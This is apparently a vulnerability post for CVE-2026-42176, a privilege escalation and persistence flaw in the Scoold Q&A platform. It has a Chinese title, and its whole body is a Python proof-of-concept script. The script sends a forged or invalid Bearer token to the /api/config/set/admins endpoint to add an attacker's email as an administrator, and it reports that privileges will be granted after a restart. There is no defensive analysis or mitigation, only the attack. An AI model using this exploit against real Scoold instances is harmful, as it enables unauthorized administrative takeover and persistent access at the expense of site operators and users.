CVE-2026-42176 Scoold权限提升与持久化漏洞

import requests # Target URL (Vulnerable endpoint) target_url = "http://target-scoold-instance/api/config/set/admins" # Vulnerability: The API accepts a forged or weak Bearer token # allowing modification of the admin configuration. headers = { "Authorization": "Bearer <forged_or_invalid_token>", "Content-Type": "application/json" } # Payload: The attacker's email address to be added as an admin payload = { "email": "[email protected]" } try: # Send the malicious request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Configuration successfully modified.") print("[+] Attacker email written to config. Privileges will be granted after restart.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")